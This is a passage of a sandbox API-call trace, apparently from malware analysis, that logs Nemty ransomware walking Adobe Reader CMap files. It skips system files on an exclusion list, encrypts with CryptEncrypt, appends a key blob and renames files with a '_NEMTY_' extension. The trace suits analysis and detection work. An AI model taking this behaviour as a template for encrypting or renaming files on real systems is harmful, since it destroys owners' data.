dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0200.133] CloseHandle (hObject=0xffffffff) returned 0 [0200.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0200.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0200.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.134] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0200.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0200.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.134] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-2._nemty_kgobjgd_")) returned 0 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0200.134] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-3", cAlternateFileName="ADA8E9~1")) returned 1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2=".") returned 1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="..") returned 1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="...") returned 1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="windows") returned -1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="$RECYCLE.BIN") returned 1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="rsa") returned -1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="NTDETECT.COM") returned -1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="ntldr") returned -1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="MSDOS.SYS") returned -1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="IO.SYS") returned -1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="boot.ini") returned -1 [0200.134] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="boot.ini") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="AUTOEXEC.BAT") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="ntuser.dat") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="desktop.ini") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="CONFIG.SYS") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="RECYCLER") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="BOOTSECT.BAK") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="bootmgr") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="programdata") returned -1 [0200.135] lstrcmpiW (lpString1="Adobe-Japan1-3", lpString2="appdata") returned -1 [0200.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-3", lpUsedDefaultChar=0x0) returned 14 [0200.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-3", lpUsedDefaultChar=0x0) returned 14 [0200.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-3", lpUsedDefaultChar=0x0) returned 14 [0200.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0200.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-3", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-3", lpUsedDefaultChar=0x0) returned 14 [0200.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0200.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0200.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0200.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0200.135] Sleep (dwMilliseconds=0x5) [0200.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2af16df0, dwHighDateTime=0x1d561e8)) [0200.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2af16df0, dwHighDateTime=0x1d561e8)) [0200.146] GetLastError () returned 0x5 [0200.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0200.146] GetLastError () returned 0x5 [0200.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0200.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0200.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0200.146] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0200.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0200.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0200.146] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="Bya+6rHRi4xqCHpKpljWQ15UajvwKdcjY7YNGWPr4AU0qJLJuhewK6Fnur+niaxp\r\nWZ9eDFBR3YM5/2uC2PAAV9c+ygrmADRPUcX66lY4RUl+iiLcsVIu4UvrIQSaGoua\r\nMfCUGk5qEiKo5kqDgqJmwZGX1OyD7o+feupWGxz4PUTnw0Wp9aL3KzpznVYveTog\r\nSENdBOrybV9TGvOlip8JyQ5ytPCMbCsKnLU9RL/WqKRtd1rUQH9muKR0+yY++Zbj\r\nHmVnrunHIBdL2M+jn2YBSK/q4zT1w4/AFbfBp+c3Jnv0Q4xm7C1imgtVcU/bNPGG\r\nyrBdMZZh7R+EpBfApRMwww==\r\n", pcchString=0x653e91c) returned 1 [0200.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0200.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0200.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0200.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0200.147] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0200.147] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0200.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0200.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.147] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0200.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0200.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0200.361] CloseHandle (hObject=0xffffffff) returned 0 [0200.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0200.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0200.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0200.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0200.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0200.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0200.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0200.361] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3._nemty_kgobjgd_")) returned 0 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0200.361] HeapFree (in: hHeap=0x4f90000, 